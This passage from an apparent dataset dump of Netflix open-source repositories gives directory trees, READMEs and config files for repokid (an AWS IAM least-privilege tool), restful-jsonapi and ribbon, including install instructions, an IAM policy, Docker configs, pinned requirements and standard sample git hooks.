(context.Context, error)\n\nfunc (fn handlerFunc) HandleTxnErr(ctx context.Context, env *lmdbsync.Env, err error) (context.Context, error) {\n\treturn fn(ctx, env, err)\n}\n"} | null |
repokid | {"type": "directory", "name": "repokid", "children": [{"type": "file", "name": ".pre-commit-config.yaml"}, {"type": "file", "name": "AUTHORS"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "file", "name": "docker-compose.yml"}, {"type": "file", "name": "Dockerfile"}, {"type": "directory", "name": "docs", "children": [{"type": "directory", "name": "images", "children": []}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "MANIFEST.in"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "repokid", "children": [{"type": "directory", "name": "cli", "children": [{"type": "file", "name": "dispatcher_cli.py"}, {"type": "file", "name": "repokid_cli.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "commands", "children": [{"type": "file", "name": "repo.py"}, {"type": "file", "name": "role.py"}, {"type": "file", "name": "role_cache.py"}, {"type": "file", "name": "schedule.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "datasource", "children": [{"type": "file", "name": "access_advisor.py"}, {"type": "file", "name": "iam.py"}, {"type": "file", "name": "plugin.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "dispatcher", "children": [{"type": "file", "name": "types.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "exceptions.py"}, {"type": "directory", "name": "filters", "children": [{"type": "directory", "name": "age", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "blocklist", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "exclusive", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "lambda", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "optout", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "utils.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "hooks", "children": [{"type": "directory", "name": "loggers", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "plugin.py"}, {"type": "file", "name": "py.typed"}, {"type": "file", "name": "role.py"}, {"type": "file", "name": "types.py"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "dynamo.py"}, {"type": "file", "name": "iam.py"}, {"type": "file", "name": "logging.py"}, {"type": "file", "name": "permissions.py"}, {"type": "file", "name": "roledata.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "requirements-test.in"}, {"type": "file", "name": "requirements-test.txt"}, {"type": "file", "name": "requirements.in"}, {"type": "file", "name": "requirements.txt"}, {"type": "file", "name": "setup.cfg"}, {"type": "file", "name": "setup.py"}, {"type": "file", "name": "test-requirements.txt"}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "artifacts", "children": [{"type": "directory", "name": "hook", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "conftest.py"}, {"type": "directory", "name": "datasource", "children": [{"type": "file", "name": "conftest.py"}, {"type": "file", "name": "test_access_advisor.py"}, {"type": "file", "name": "test_iam.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "filters", "children": [{"type": "file", "name": "test_age.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "test_commands.py"}, {"type": "file", "name": "test_dispatcher_cli.py"}, {"type": "file", "name": "test_hooks.py"}, {"type": "file", "name": "test_permissions.py.bak"}, {"type": "file", "name": "test_role.py"}, {"type": "file", "name": "test_roledata.py"}, {"type": "file", "name": "vars.py"}, {"type": "file", "name": "__init__.py"}]}]} | Repokid
=======
[![NetflixOSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/osstracker.svg)]()
[![Build Status](https://travis-ci.com/Netflix/repokid.svg?branch=master)](https://travis-ci.com/Netflix/repokid)
[![PyPI version](https://badge.fury.io/py/repokid.svg)](https://badge.fury.io/py/repokid)
[![Coverage Status](https://coveralls.io/repos/github/Netflix/repokid/badge.svg?branch=master)](https://coveralls.io/github/Netflix/repokid?branch=master)
[![Discord chat](https://img.shields.io/discord/754080763070382130?logo=discord)](https://discord.gg/9kwMWa6)
<img align="center" alt="Repokid Logo" src="https://github.com/Netflix/repokid/blob/master/docs/images/Repokid.png?raw=true" width="25%" display="block">
Repokid uses Access Advisor provided by [Aardvark](https://github.com/Netflix-Skunkworks/aardvark)
to remove permissions granting access to unused services from the inline policies of IAM roles in
an AWS account.
## Getting Started
### Install
```bash
mkvirtualenv repokid
git clone [email protected]:Netflix/repokid.git
cd repokid
pip install -e .
repokid config config.json
```
#### DynamoDB
You will need a [DynamoDB](https://aws.amazon.com/dynamodb/) table called `repokid_roles` (specify account and endpoint in `dynamo_db` in config file).
The table should have the following properties:
- `RoleId` (string) as a primary partition key, no primary sort key
- A global secondary index named `Account` with a primary partition key of `Account` and `RoleId` and `Account` as projected attributes
- A global secondary index named `RoleName` with a primary partition key of `RoleName` and `RoleId` and `RoleName` as projected attributes
For development, you can run dynamo [locally](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DynamoDBLocal.html).
To run locally:
```bash
docker-compose up
```
The endpoint for DynamoDB will be `http://localhost:8000`. A DynamoDB admin panel can be found at `http://localhost:8001`.
If you run the development version the table and index will be created for you automatically.
#### IAM Permissions
Repokid needs an IAM Role in each account that will be queried. Additionally, Repokid needs to be launched with a role or user which can `sts:AssumeRole` into the different account roles.
RepokidInstanceProfile:
- Only create one.
- Needs the ability to call `sts:AssumeRole` into all of the RepokidRoles.
- DynamoDB permissions for the `repokid_roles` table and all indexes (specified in `assume_role` subsection of `dynamo_db` in config) and the ability to run `dynamodb:ListTables`
RepokidRole:
- Must exist in every account to be managed by repokid.
- Must have a trust policy allowing `RepokidInstanceProfile`.
- Name must be specified in `connection_iam` in config file.
- Has these permissions:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:DeleteInstanceProfile",
"iam:DeleteRole",
"iam:DeleteRolePolicy",
"iam:GetAccountAuthorizationDetails",
"iam:GetInstanceProfile",
"iam:GetRole",
"iam:GetRolePolicy",
"iam:ListInstanceProfiles",
"iam:ListInstanceProfilesForRole",
"iam:ListRolePolicies",
"iam:PutRolePolicy",
"iam:UpdateRoleDescription"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
```
So if you are monitoring `n` accounts, you will always need `n+1` roles. (`n` RepokidRoles and `1` RepokidInstanceProfile).
#### Editing config.json
Running `repokid config config.json` creates a file that you will need to edit. Find and update these fields:
- `dynamodb`: If using dynamo locally, set the endpoint to `http://localhost:8010`. If using AWS hosted dynamo, set the `region`, `assume_role`, and `account_number`.
- `aardvark_api_location`: The location to your Aardvark REST API. Something like `https://aardvark.yourcompany.net/api/1/advisors`
- `connection_iam`: Set `assume_role` to `RepokidRole`, or whatever you have called it.
## Optional Config
Repokid uses filters to decide which roles are candidates to be repoed. Filters may be configured to suit your
environment as described below.
### Blocklist Filter
Roles may be excluded by adding them to the Blocklist filter. One common reason to exclude a role is if
the corresponding workload performs occasional actions that may not have been observed but are known to be
required. There are two ways to exclude a role:
- Exclude role name for all accounts: add it to a list in the config `filter_config.BlocklistFilter.all`
- Exclude role name for specific account: add it to a list in the config `filter_config.BlocklistFilter.<ACCOUNT_NUMBER>`
Blocklists can also be maintained in an S3 blocklist file. They should be in the following form:
```json
{
"arns": ["arn1", "arn2"],
"names": {"role_name_1": ["all", "account_number_1"], "role_name_2": ["account_number_2", "account_number_3"]}
}
```
### Exclusive Filter
If you prefer to repo only certain roles you can use the Exclusive Filter. Maybe you want to consider only roles used in production or by certain teams.
To select roles for repo-ing you may list their names in the configuration files. Shell style glob patterns are also supported.
Role selection can be specified per individual account or globally.
To activate this filter put `"repokid.filters.exclusive:ExclusiveFilter"`in the section `active_filters` of the config file.
To configure it you can start with the autogenerated config file, which has an example config in the `"filter_config"` section:
```
"ExclusiveFilter": {
"all": [
"<GLOB_PATTERN>"
],
"<ACCOUNT_NUMBER>": [
"<GLOB_PATTERN>"
]
}
```
### Age Filter
By default the age filter excludes roles that are younger than 90 days. To change this edit the config setting:
`filter_config.AgeFilter.minimum_age`.
### Active Filters
New filters can be created to support internal logic. At Netflix we have several that are specific to our
use cases. To make them active make sure they are in the Python path and add them in the config to the list in
the section `active_filters`.
## Extending Repokid
### Hooks
Repokid is extensible via hooks that are called before, during, and after various operations as listed below.
| Hook name | Context |
|-----------|---------|
| `AFTER_REPO` | role, errors |
| `AFTER_REPO_ROLES` | roles, errors |
| `BEFORE_REPO_ROLES` | account_number, roles |
| `AFTER_SCHEDULE_REPO` | roles |
| `DURING_REPOABLE_CALCULATION` | role_id, arn, account_number, role_name, potentially_repoable_permissions, minimum_age |
| `DURING_REPOABLE_CALCULATION_BATCH` | role_batch, potentially_repoable_permissions, minimum_age |
Hooks must adhere to the following interface:
```python
from repokid.hooks import implements_hook
from repokid.types import RepokidHookInput, RepokidHookOutput
@implements_hook("TARGET_HOOK_NAME", 1)
def custom_hook(input_dict: RepokidHookInput) -> RepokidHookOutput:
"""Hook functions are called with a dict containing the keys listed above based on the target hook.
Any mutations made to the input and returned in the output will be passed on to subsequent hook funtions.
"""
...
```
Examples of hook implementations can be found in [`repokid.hooks.loggers`](repokid/hooks/loggers/__init__.py).
### Filters
Custom filters can be written to exclude roles from being repoed. Filters must adhere to the following interface:
```python
from repokid.filters import Filter
from repokid.types import RepokidFilterConfig
from repokid.role import RoleList
class CustomFilterName(Filter):
def __init__(self, config: RepokidFilterConfig = None) -> None:
"""Filters are initialized with a dict containing the contents of `filter_config.FilterName`
from the config file. This example would be initialized with `filter_config.CustomFilterName`.
The configuration can be accessed via `self.config`
If you don't need any custom initialization logic, you can leave this function out of your
filter class.
"""
super().__init__(config=config)
# custom initialization logic goes here
...
def apply(self, input_list: RoleList) -> RoleList:
"""Determine roles to be excluded and return them as a RoleList"""
...
```
A simple filter implementation can be found in [`repokid.filters.age`](repokid/filters/age/__init__.py). A more complex example is in [`repokid.blocklist.age`](repokid/filters/blocklist/__init__.py).
## How to Use
Once Repokid is configured, use it as follows:
### Standard flow
- Update role cache: `repokid update_role_cache <ACCOUNT_NUMBER>`
- Display role cache: `repokid display_role_cache <ACCOUNT_NUMBER>`
- Display information about a specific role: `repokid display_role <ACCOUNT_NUMBER> <ROLE_NAME>`
- Repo a specific role: `repokid repo_role <ACCOUNT_NUMBER> <ROLE_NAME>`
- Repo all roles in an account: `repokid repo_all_roles <ACCOUNT_NUMBER> -c`
### Scheduling
Rather than running a repo right now you can schedule one (`schedule_repo` command). The duration between scheduling and eligibility is configurable, but by default roles can be repoed 7 days after scheduling. You can then run a command `repo_scheduled_roles` to only repo roles which have already been scheduled.
### Targeting a specific permission
Say that you find a given permission especially dangerous in your environment. Here I'll use `s3:PutObjectACL` as an example. You can use Repokid to find all roles that have this permission (even those hidden in a wildcard), and then remove just that single permission.
Find & Remove:
- Ensure the role cache is updated before beginning.
- Find roles with a given permission: `repokid find_roles_with_permissions <permission>... [--output=ROLE_FILE]`
- Remove permission from roles: `repokid remove_permissions_from_roles --role-file=ROLE_FILE <permission>... [-c]`
Example:
```
$ repokid find_roles_with_permissions "s3:putobjectacl" "sts:assumerole" --output=myroles.json
...
$ repokid remove_permissions_from_roles --role-file=myroles.json "s3:putobjectacl" "sts:assumerole" -c
```
### Rolling back
Repokid stores a copy of each version of inline policies it knows about. These are added when
a different version of a policy is found during `update_role_cache` and any time a repo action
occurs. To restore a previous version run:
See all versions of roles: `repokid rollback_role <ACCOUNT_NUMBER> <ROLE_NAME>`
Restore a specific version: `repokid rollback_role <ACCOUNT_NUMBER> <ROLE_NAME> --selection=<NUMBER> -c`
### Stats
Repokid keeps counts of the total permissions for each role. Stats are added any time an `update_role_cache` or
`repo_role` action occur. To output all stats to a CSV file run: `repokid repo_stats <OUTPUT_FILENAME>`. An optional account number can be specified to output stats for a specific account only.
### Library
> New in `v0.14.2`
Repokid can be called as a library using the `repokid.lib` module:
```python
from repokid.lib import display_role, repo_role, update_role_cache
account_number = "123456789012"
display_role(account_number, "superCoolRoleName")
update_role_cache(account_number)
repo_role(account_number, "superCoolRoleName", commit=True)
```
## Dispatcher ##
Repokid Dispatcher is designed to listen for messages on a queue and perform actions. So far the actions are:
- List repoable services from a role
- Set or remove an opt-out
- List and perform rollbacks for a role
Repokid will respond on a configurable SNS topic with information about any success or failures. The Dispatcher
component exists to help with operationalization of the repo lifecycle across your organization. You may choose
to expose the queue directly to developers, but more likely this should be guarded because rolling back can be
a destructive action if not done carefully.
## Development
### Releasing
Versioning is handled by [setupmeta](https://github.com/zsimic/setupmeta). To create a new release:
```bash
python setup.py version --bump patch --push
# Inspect output and make sure it's what you expect
# If all is well, commit and push the new tag:
python setup.py version --bump patch --push --commit
```
| {"docker-compose.yml": "version: '2'\nservices:\n dynamodb:\n container_name: dynamodb\n image: amazon/dynamodb-local:latest\n entrypoint: java\n networks:\n - dynamo\n command: \"-jar DynamoDBLocal.jar -sharedDb -dbPath /data\"\n restart: always\n volumes:\n - ./dynamodb-data:/data\n ports:\n - \"8000:8000\"\n dynamodb_admin:\n container_name: dynamodb-admin\n image: aaronshaf/dynamodb-admin:latest\n networks:\n - dynamo\n environment:\n - DYNAMO_ENDPOINT=http://dynamodb:8000\n ports:\n - \"8001:8001\"\n\nnetworks:\n dynamo:\n", "Dockerfile": "FROM python:3.7\n\nWORKDIR /usr/src/app\nCOPY . .\n\nRUN pip install bandit coveralls && \\\n pip install . && \\\n pip install -r requirements-test.txt && \\\n python setup.py develop && \\\n repokid config config.json # Generate example config\n\nENTRYPOINT [\"repokid\"]\n", "requirements.txt": "#\n# This file is autogenerated by pip-compile\n# To update, run:\n#\n# pip-compile --no-emit-index-url --output-file=requirements.txt requirements.in\n#\nbleach==4.1.0\n # via readme-renderer\nboto3-stubs[dynamodb,iam,sns,sqs]==1.17.71\n # via -r requirements.in\nboto3==1.17.71\n # via\n # -r requirements.in\n # cloudaux\nboto==2.49.0\n # via cloudaux\nbotocore==1.20.112\n # via\n # boto3\n # cloudaux\n # s3transfer\ncertifi==2021.5.30\n # via requests\ncharset-normalizer==2.0.4\n # via requests\nclick==8.0.1\n # via\n # -r requirements.in\n # pip-tools\ncloudaux==1.9.6\n # via -r requirements.in\ncolorama==0.4.4\n # via twine\ndefusedxml==0.7.1\n # via cloudaux\ndocutils==0.17.1\n # via readme-renderer\nflagpole==1.1.1\n # via cloudaux\nidna==3.2\n # via requests\nimport-string==0.1.0\n # via -r requirements.in\nimportlib-metadata==4.6.4\n # via\n # click\n # keyring\n # pep517\n # twine\ninflection==0.5.1\n # via cloudaux\njmespath==0.10.0\n # via\n # boto3\n # botocore\njoblib==1.0.1\n # via cloudaux\njson-log-formatter==0.4.0\n # via -r requirements.in\nkeyring==23.1.0\n # via twine\nmypy-boto3-dynamodb==1.17.71\n # via boto3-stubs\nmypy-boto3-iam==1.17.71\n # via boto3-stubs\nmypy-boto3-sns==1.17.71\n # via boto3-stubs\nmypy-boto3-sqs==1.17.71\n # via boto3-stubs\npackaging==21.0\n # via bleach\npep517==0.11.0\n # via pip-tools\npip-tools==6.2.0\n # via -r requirements.in\npkginfo==1.7.1\n # via twine\npolicyuniverse==1.4.0.20210816\n # via -r requirements.in\npydantic==1.8.2\n # via -r requirements.in\npygments==2.10.0\n # via readme-renderer\npyparsing==2.4.7\n # via packaging\npython-dateutil==2.8.2\n # via\n # -r requirements.in\n # botocore\npytz==2021.1\n # via -r requirements.in\nraven==6.10.0\n # via -r requirements.in\nreadme-renderer==29.0\n # via twine\nrequests-toolbelt==0.9.1\n # via twine\nrequests==2.26.0\n # via\n # -r requirements.in\n # requests-toolbelt\n # twine\nrfc3986==1.5.0\n # via twine\ns3transfer==0.4.2\n # via boto3\nsix==1.16.0\n # via\n # bleach\n # cloudaux\n # import-string\n # python-dateutil\n # readme-renderer\ntabulate==0.8.9\n # via -r requirements.in\ntabview==1.4.4\n # via -r requirements.in\ntomli==1.2.1\n # via pep517\ntqdm==4.62.2\n # via\n # -r requirements.in\n # twine\ntwine==3.4.2\n # via -r requirements.in\ntypes-click==7.1.5\n # via -r requirements.in\ntyping-extensions==3.10.0.0\n # via\n # boto3-stubs\n # importlib-metadata\n # mypy-boto3-dynamodb\n # mypy-boto3-iam\n # mypy-boto3-sns\n # mypy-boto3-sqs\n # pydantic\nurllib3==1.26.6\n # via\n # botocore\n # requests\nwebencodings==0.5.1\n # via bleach\nwheel==0.37.0\n # via pip-tools\nzipp==3.5.0\n # via\n # importlib-metadata\n # pep517\n\n# The following packages are considered to be unsafe in a requirements file:\n# pip\n# setuptools\n", "setup.py": "# Copyright 2020 Netflix, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom setuptools import find_packages\nfrom setuptools import setup\n\nsetup(\n name=\"repokid\",\n description=\"AWS Least Privilege for Distributed, High-Velocity Deployment\",\n url=\"https://github.com/Netflix/repokid\",\n packages=find_packages(),\n package_data={\"repokid\": [\"py.typed\"]},\n versioning=\"dev\",\n setup_requires=[\"setupmeta\"],\n python_requires=\">=3.7\",\n keywords=[\"aws\", \"iam\", \"access_advisor\"],\n entry_points={\n \"console_scripts\": [\n \"repokid = repokid.cli.repokid_cli:cli\",\n \"dispatcher = repokid.cli.dispatcher_cli:main\",\n ]\n },\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: System Administrators\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Natural Language :: English\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 3.7\",\n \"Topic :: Security\",\n \"Topic :: System\",\n \"Topic :: System :: Systems Administration\",\n ],\n zip_safe=False,\n)\n", "test-requirements.txt": "flake8==3.5.0\nflake8-import-order==0.18.1\npython-dateutil==2.6.0\nmock==2.0.0\npytest==3.2.3\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
restful-jsonapi | {"type": "directory", "name": "restful-jsonapi", "children": [{"type": "file", "name": "Gemfile"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "restful", "children": [{"type": "directory", "name": "jsonapi", "children": [{"type": "file", "name": "active_model_serializer.rb"}, {"type": "file", "name": "railtie.rb"}, {"type": "file", "name": "restify_param.rb"}, {"type": "file", "name": "serializable_errors.rb"}, {"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "jsonapi.rb"}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "restful-jsonapi.gemspec"}]} | # Restful::Jsonapi
A temporary monkeypatch for JSONAPI support, both in request payload, and serializing the type without a namespace.
[![Gem Version](https://badge.fury.io/rb/restful-jsonapi.svg)](http://badge.fury.io/rb/restful-jsonapi)
## Installation
Add this line to your application's Gemfile:
```ruby
gem 'restful-jsonapi'
```
And then execute:
$ bundle
Or install it yourself as:
$ gem install restful-jsonapi
## Usage
```
class MovieTypesController < ApplicationController
...
private
def movie_type_params
restify_param(:movie_type).require(:movie_type).permit(
:id,
:name,
created_user: [
:id,
:email
]
end
end
```
## Contributing
1. Fork it ( https://github.com/[my-github-username]/restful-jsonapi/fork )
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create a new Pull Request
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
ribbon | {"type": "directory", "name": "ribbon", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "ribbon", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "file", "name": "RibbonExamples.java"}]}]}]}]}]}, {"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "file", "name": "CacheProvider.java"}, {"type": "file", "name": "CacheProviderFactory.java"}, {"type": "file", "name": "ClientOptions.java"}, {"type": "file", "name": "DefaultResourceFactory.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "HttpMetaRequest.java"}, {"type": "file", "name": "HttpMetaResponse.java"}, {"type": "file", "name": "HttpRequest.java"}, {"type": "file", "name": "HttpRequestBuilder.java"}, {"type": "file", "name": "HttpRequestTemplate.java"}, {"type": "file", "name": "HttpResourceGroup.java"}, {"type": "file", "name": "HttpResourceObservableCommand.java"}, {"type": "file", "name": "HttpResponseValidator.java"}]}, {"type": "directory", "name": "hystrix", "children": [{"type": "file", "name": "CacheObservableCommand.java"}, {"type": "file", "name": "FallbackHandler.java"}, {"type": "file", "name": "HystrixObservableCommandChain.java"}, {"type": "file", "name": "ResultCommandPair.java"}]}, {"type": "directory", "name": "proxy", "children": [{"type": "directory", "name": "annotation", "children": [{"type": "file", "name": "CacheProvider.java"}, {"type": "file", "name": "ClientProperties.java"}, {"type": "file", "name": "Content.java"}, {"type": "file", "name": "ContentTransformerClass.java"}, {"type": "file", "name": "Http.java"}, {"type": "file", "name": "Hystrix.java"}, {"type": "file", "name": "ResourceGroup.java"}, {"type": "file", "name": "TemplateName.java"}, {"type": "file", "name": "Var.java"}]}, {"type": "file", "name": "ClassTemplate.java"}, {"type": "file", "name": "MethodTemplate.java"}, {"type": "file", "name": "MethodTemplateExecutor.java"}, {"type": "directory", "name": "processor", "children": [{"type": "file", "name": "AnnotationProcessor.java"}, {"type": "file", "name": "AnnotationProcessorsProvider.java"}, {"type": "file", "name": "CacheProviderAnnotationProcessor.java"}, {"type": "file", "name": "ClientPropertiesProcessor.java"}, {"type": "file", "name": "HttpAnnotationProcessor.java"}, {"type": "file", "name": "HystrixAnnotationProcessor.java"}]}, {"type": "file", "name": "ProxyAnnotationException.java"}, {"type": "file", "name": "ProxyHttpResourceGroupFactory.java"}, {"type": "file", "name": "ProxyLifeCycle.java"}, {"type": "file", "name": "RibbonDynamicProxy.java"}, {"type": "file", "name": "RibbonProxyException.java"}, {"type": "file", "name": "Utils.java"}]}, {"type": "file", "name": "RequestTemplate.java"}, {"type": "file", "name": "RequestWithMetaData.java"}, {"type": "file", "name": "ResourceGroup.java"}, {"type": "file", "name": "ResponseValidator.java"}, {"type": "file", "name": "Ribbon.java"}, {"type": "file", "name": "RibbonRequest.java"}, {"type": "file", "name": "RibbonResourceFactory.java"}, {"type": "file", "name": "RibbonResponse.java"}, {"type": "file", "name": "ServerError.java"}, {"type": "directory", "name": "template", "children": [{"type": "file", "name": "MatrixVar.java"}, {"type": "file", "name": "ParsedTemplate.java"}, {"type": "file", "name": "PathVar.java"}, {"type": "file", "name": "TemplateParser.java"}, {"type": "file", "name": "TemplateParsingException.java"}, {"type": "file", "name": "TemplateVar.java"}]}, {"type": "file", "name": "UnsuccessfulResponseException.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "file", "name": "DiscoveryEnabledServerListTest.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "TemplateBuilderTest.java"}]}, {"type": "directory", "name": "hystrix", "children": [{"type": "file", "name": "HystrixCommandChainTest.java"}]}, {"type": "directory", "name": "proxy", "children": [{"type": "file", "name": "ClassTemplateTest.java"}, {"type": "file", "name": "ClientPropertiesTest.java"}, {"type": "file", "name": "HttpResourceGroupFactoryTest.java"}, {"type": "file", "name": "MethodTemplateExecutorTest.java"}, {"type": "file", "name": "MethodTemplateTest.java"}, {"type": "file", "name": "RibbonDynamicProxyTest.java"}, {"type": "directory", "name": "sample", "children": [{"type": "file", "name": "HystrixHandlers.java"}, {"type": "file", "name": "Movie.java"}, {"type": "file", "name": "MovieServiceInterfaces.java"}, {"type": "file", "name": "MovieTransformer.java"}, {"type": "file", "name": "ResourceGroupClasses.java"}, {"type": "file", "name": "SampleCacheProviderFactory.java"}]}, {"type": "file", "name": "ShutDownTest.java"}, {"type": "file", "name": "UtilsTest.java"}]}, {"type": "file", "name": "RibbonTest.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}]}]}]}, {"type": "directory", "name": "ribbon-archaius", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "ArchaiusClientConfigFactory.java"}, {"type": "file", "name": "ArchaiusPropertyResolver.java"}, {"type": "file", "name": "DefaultClientConfigImpl.java"}]}, {"type": "file", "name": "SimpleVipAddressResolver.java"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "ScheduledThreadPoolExectuorWithDynamicSize.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "directory", "name": "services", "children": [{"type": "file", "name": "com.netflix.client.config.ClientConfigFactory"}]}]}]}]}]}]}, {"type": "directory", "name": "ribbon-core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": "ClientException.java"}, {"type": "file", "name": "ClientRequest.java"}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "AbstractDefaultClientConfigImpl.java"}, {"type": "file", "name": "ClientConfigFactory.java"}, {"type": "file", "name": "CommonClientConfigKey.java"}, {"type": "file", "name": "FallbackProperty.java"}, {"type": "file", "name": "IClientConfig.java"}, {"type": "file", "name": "IClientConfigKey.java"}, {"type": "file", "name": "Property.java"}, {"type": "file", "name": "PropertyResolver.java"}, {"type": "file", "name": "PropertyUtils.java"}, {"type": "file", "name": "ReloadableClientConfig.java"}, {"type": "file", "name": "UnboxedIntProperty.java"}]}, {"type": "file", "name": "DefaultLoadBalancerRetryHandler.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "UnexpectedHttpResponseException.java"}]}, {"type": "file", "name": "IClient.java"}, {"type": "file", "name": "IClientConfigAware.java"}, {"type": "file", "name": "IResponse.java"}, {"type": "file", "name": "RequestSpecificRetryHandler.java"}, {"type": "file", "name": "RetryHandler.java"}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": 